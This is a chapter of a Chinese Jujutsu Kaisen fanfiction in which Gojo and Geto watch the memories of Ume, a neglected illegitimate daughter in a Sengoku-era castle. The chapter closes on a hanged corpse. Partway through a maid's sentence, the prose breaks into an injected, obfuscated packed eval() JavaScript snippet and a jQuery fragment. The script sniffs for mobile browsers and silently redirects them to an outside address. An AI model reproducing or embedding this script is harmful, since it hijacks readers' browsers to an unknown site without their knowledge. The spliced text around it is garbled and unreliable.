59.旧梦篇8

作品:《[咒回]“神明”咒灵想当人

    既然出不去,也没办法让这莫名其妙的场景停下来,五条悟和夏油杰就只能妥协,仅仅只是生产那一幕,两人便隐隐觉察出了领域的主人是谁。


    通过领域主人破碎的记忆片段,他们得知了所在的背景信息。


    现在应该是日本战国时代的中期,这个时期各色城主划地而治的现状在逐渐改变,弱小的城池被强大的敌方城主率兵攻破,而他们站着的,正是某个依附于强大城池的城主之地。


    这座城池看上去是城主在统治,但懦弱无能的男主人偏偏娶上了一位极其精明能干的女主人,也就是那日的夫人。


    城主夫人将梅扔到了一个无人问津的小院,派了几位侍女伺候,而梅的身世,自然早就成为了一个大家心照不宣的秘密。


    和所有狗血的话本子一样,丈夫不喜欢强势的妻子,身为上位者的他理所当然地压迫弱者,年轻的侍女被迫怀上孩子,又在妻子的百般刁难下生下孩子,最后悲惨死去。


    “呕,真是够恶心的。”


    五条悟的眉头紧紧拧在一起,嫌恶地皱着鼻子掀唇评价道:“这种小说情节真的发生在生活中恶心的程度又上一层,女的一巴掌、男的更是直接打死。”


    “都是臭鱼还分什么腥。”


    夏油杰和他并肩坐在榻榻米上,抬眼看去一边,上一秒还在襁褓里的女婴已经长到了三、四岁的模样,还好这个领域没有强逼他们看完每一分每一秒的记忆。


    房间里甜腻的熏香经年不散,像一道无形的帷幕,沉重地压下来。


    空旷的房间里家具甚少,梅跪坐在一个坐垫上,由着侍女为她梳理一头浓密的黑发,朱漆木梳从发间梳下,保养得益的发丝没有一丝打结。


    “梅姬大人,请您坐好。”


    侍女严厉地对着梅轻声训斥道,梅低着脑袋,半米长的头发压在她的脑袋上,纤细的脖颈仿佛下一刻便会被折断。


    “我…我腿麻了。”


    梅轻声细语地对着侍女抱怨,为了练习所谓的优雅姿态,她被勒令保持坐姿不变已经过了数个小时,要稍微一松懈就会被身后的侍女训斥。


    面对梅的哭诉,侍女也面露不悦,声音放轻了些,但说出的话语依旧冰冷:“请您懂事一些,不然被罚的是奴婢,您就那么自私吗?”


    侍女面色铁青,身为下位者的她根本没有选择,善良是上位者的权力,而她不过是微末之身,只能听命行事。


    梅转过头去,不再吭声,头低得更低了,或许她本就没指望自己的诉求能被看见,但还是傻傻地抱着希望。


    “真是够烦的。”


    五条悟看不下去了,掩藏在墨镜后的双眸合上眼皮,头靠着墙壁发出仰天长啸:“这个咒灵想干啥啊——给我们看一个女孩的记忆又是什么意思?”


    “我们看见的可能是咒灵躲藏在某处观测到的画面。”


    夏油杰抱着双臂,语气里透出一丝疲惫,现在信息有限,他也不能确定。


    两人面对无力改变的现状,也只能想观看电影的观众一般,除了批评以外无能为力。


    眼前画面再次变幻,这回房间里的人忽然多了不少。


    三名身着深色和服的侍女与梅相对而坐,梅的身体又大了一点,穿着华贵却沉重得压在身上的和服,一头乌发随着裙摆展开,恰似一缕缕蜘蛛的丝线,构筑着密不透风的罗网。


    “那么,梅姬大人。”


    为首年长的女官语气冰冷地开口,对着眼前的“梅姬大人”指导道:“请将奴婢当作城主大人和夫人,向奴婢展示早安问候礼仪。”


    梅对女官的僭越之举没有丝毫在意,她像是训练了无数遍的人偶一般,温顺地低下头,轻声答是。


    在应下后,她起身走到门口,像是在假装刚进门,接着一瞬间便进入了状态,她沿着榻榻米缓缓而行,步履轻得听不见一丝声响。


    上身如同平静的水面,没有丝毫晃动,唯有裙子的下摆,会随着她细碎的内八字步,漾开记极其优雅而细微的波纹。


    梅低头,在距离女官数步之外的距离正跪下去,被涂的惨白的脸上看不出一丝屈辱,唯有一双金眸漾出眼波,能稍微透过那厚重的伪装,看见一点点情绪。


    “恭问父上、母上晨间安康,身体是否无恙。”


    稚嫩的声音操着一口可以说是做作的调,比室内的熏香还要甜腻,让五条悟泛起了一阵阵的鸡皮疙瘩。


    “不合格。”


    假如那甜腻的腔调让两人觉得像化掉的蜜糖一般不适,那么女官不容置疑且毫无情绪的声音就是一记当头一棒,打了两人一个措手不及。


    “这女的脑子不好使吧。”


    五条悟忍不了一点,这种死板的礼仪本来就让他火大,为难孩子、鸡蛋里挑骨头、还有狐假虎威,换成别人对他这样他一定送这人去见祖宗!


    练这些有什么用?她又根本见不到所谓的父上、母上!


    可他还有理智在,也做不出对着记忆穷追猛打的蠢事。


    相反,夏油杰却反常地未置一词,片刻之前,侍女们窃窃私语的声音在他耳边响起。


    年轻的侍女对着主人家的私事议论纷纷,这位见不得光的私生女早就引起了全城的好奇。


    “哎,你说为什么姐妹们都不愿意来伺候梅姬大人啊?明明她还那么小,又不像少主那样胡搅蛮缠。”


    “你呀,眼皮子别那么浅,你没听到夫人给她取的名字吗?‘梅’,是从盛开到凋零都只能在寒冬的花,一辈子见不到春日和盛夏!”


    “啊?!”年轻的侍女大惊:“那夫人岂不是在诅咒梅姬大人,一辈子都得不到解脱吗?”


    “切,谁知道呢,以后嫁个如意郎君说不定会好点,但是主子都不疼她了,我们这些人还是得看着点眼色行事。”


    话语的边界变得模糊不清,可那些字却如同刀子一般深深扎在了心里,这里是记忆的领域,那么主人必定也是将这番话听了个清清楚楚。


    那么这抹心痛呢?也是主人的影响吗?


    夏油杰不知道,他抬起眼,眼里不含情绪的看着这副场景。


    记忆仿佛被按下了暂停键,接下来的便是梅不厌其烦地重复跪拜动作,以及女官机械的话语:“不合格,重来。”


    “恭问父上、母上晨间安康,身体是否无恙。”


    “不合格,重来!”


    “恭问父上、母上晨间安康。”


    “不合格!”


    “身体是否无恙。”


    “重来——!”


    一遍遍的跪拜,一遍遍的重来,不知折磨的是演员,还是正在旁观的观众。


    ----------------


    时间到了夏日,原本灰蒙蒙的房间拉开了障子,外头庭院里的绿植由人精心修剪,在阳光下绽出缤纷的色彩,如流光般蹿进房间里。


    这一回的室内只有一个人,梅靠着窗子,手指摸上光滑的窗棂,原本宽广得没有尽头的盛夏之景被框死,困在了这四四方方的格子里。


    现在没有外人,梅偷偷地将自己的外衫脱去,层层华服堆在她的脚边,似一簇簇鲜花围绕着她,既鲜艳夺目又衬得她肤色胜雪。


    五条悟和夏油杰一左一右地分坐在她身侧,静静地观赏着窗外的景色,偶有几只鸟雀落在窗外的廊下,梳理一下羽毛后又腾空飞起,落下几只尾羽。


    梅的眼睛微微一亮,原本百无聊赖的脸上多了些生动的表情。


    “嗯?”


    五条悟歪着头,眼睁睁地看着梅直接从地上爬了起来,赤着一双脚踩过窗沿,随着一声清脆的“砰”的一声,整个人掉到了窗外,梅捂着脑袋捡起尾羽,心满意足的扬起笑容。


    “听声音,头不错。”


    夏油杰看着她开心,自己也有兴致开玩笑了。


    梅含着笑,兴致盎然地将羽毛举到太阳底下,想要看见侍女口中七彩羽毛。


    但很可惜,那只鸟只是一只小麻雀,这支羽毛也只是一支不起眼的褐色尾羽,没有什么奇特的颜色。她嘴角耷拉下来,旋即又笑起来,手指摩挲过一寸寸绒羽,对着新玩具爱不释手。


    “梅姬大人?”


    门外的侍女听见动静,传来规律的脚步声:“您怎么了吗?”


    侍女走进房间里,视线扫过空旷的房间,最后透过开着的窗户看见了站在外面的梅,登时便瞪大了眼睛,三步两步急匆匆地朝她走来。


    “您该去见夫人了——您的衣服


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16514768|181305||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    怎么回事??!”


    侍女眉头紧锁地看着只着一身雪白中衣的梅,几乎眼前一黑,马上就要带着她去见城主夫人了,要是迟到了或是出了点什么错,梅姬大人是不会有什么事,但她这个小侍女就不一定了!


    接着,梅被她像小鸡仔一样拎了起来,重新带回房里穿好衣服,像是一个精心打扮的玩偶般,由着侍女恭敬地送到那些贵人面前。


    城主的姓氏是斋藤,身为一位极年轻的城主,他的面容不仅不像其他人那般凶神恶煞,反而还温文尔雅,举手投足间尽显稳重从容。


    而他独一无二的夫人——斋藤夫人,相比初次见面,容颜不仅没有衰老,反而因为年纪的增长,愈发美艳成熟,看起来有一股别样的风情。


    城主夫妇端坐在座位上首,其中城主身旁,还跪坐着一位身着锦绣衣物的男孩,头发梳成了两个小刷子一样的发型,这被称作髻垂,是五六岁的男孩经常梳的样式。


    五条悟和夏油杰站在人群的另一边,梅提着沉重的衣裙,像是曾经练过的千百回般,从走进门一直到跪下,不曾发出任何噪音,就连问候语,都说得不疾不徐、无比谦卑。


    直到梅的最后一个尾音消失在空气里,坐在上首的几人都未置一言,而在长辈开口之前,身为女儿的梅绝对不能抬眼去看他们的面容,就只能一直低伏在地上,紧张地浑身颤抖。


    不过好在,斋藤大人看起来并未在意,他眼眸一沉,嘴角挂起和蔼的笑容,缓声命梅起身。


    “是。”


    这是梅自出生以来第一次见到自己传说中的生父,她的手指无意识的蜷缩、松开,再紧紧攥成拳,那一小片羽毛被她拿在手里,却在起身时一个不小心滑落,落在了浅色的榻榻米上,暴露在众人眼前。


    “这是什么?”


    斋藤夫人再次举起了她的折扇,只是现在这把换成了鎏金,比先前的更加珍贵。


    一双细长的眉毛深深弯起,她那嫌弃的一瞥,如同看到了触及她底线的东西,冰冷彻骨。


    在众人反应过来之前,竟然是斋藤大人先上前一步,毫不在意地捡起了那片羽毛,看着梅问:“这是你落下的吗?”


    站在人群后侍女的脸色已经极为难看了,他们像是看着异类一般看着眼前这十分荒谬的情景。


    梅微微愣了一下,大脑已经乱作一团,待她回神,她并没有伸手去接那片羽毛,而是开口说道:


    “是的,这是女儿…想要送给父亲的礼物。”


    “礼物?”斋藤大人不解的看着她,弯下身体和她平视。


    “侍女们告诉我,八咫乌象征着神明的指引,我听说最近即将有战事发生,心里担忧父亲大人,就想去找八咫乌。”


    梅的声音渐渐弱下去,像是十分愧疚:“但我在庭院里只抓到这种鸟,没找到八咫乌……”


    听完了她的话,斋藤大人不怒反笑,他看着梅的双眼一亮,竟大笑着将梅抱了起来,赞扬道:“好好好!”


    他一连好几个“好”字,让在场的侍女都松了口气,这幅父慈女孝的场景十分深入人心。


    但夏油杰和五条悟脸上却一点笑意都没有,他们的目光默契地落在了上座的斋藤夫人脸上,只这一眼,夏油杰便深深皱紧了眉头。


    啊……完了……


    次日清晨,梅在太阳升起之前便醒来了,昨天的场景还在她脑中挥之不去,初次面见生父的紧张和生涩还未散去。


    于是她起身,掀开被子想要去庭院里玩。


    夏油杰站在她身后,看着她赤着脚缓缓走上榻榻米,室内灰蒙蒙的,像是飘着迷蒙的雾气,庭院里一颗粗壮的梅树,此时光秃秃的树杈随风飘荡,投下一片片树影映在障纸上。


    等等——夏油杰的太阳穴忽然突突直跳,那个影子极不正常!


    眼见着梅的手已经放上了障子门,五条悟忽然附身一冲,伸出手制止:“不行——!!”


    “咚。”


    梅面对着院子,腿一软跪坐在地上,两人越过她的头顶,顺着她的视线看见了院子正中间的梅树——还有吊在树上的女尸。


    忽地一阵风吹来,黑色的发丝垂落在女尸脸上,轻轻拂动,无神的双眼痴痴地瞪大,看着房间的方向。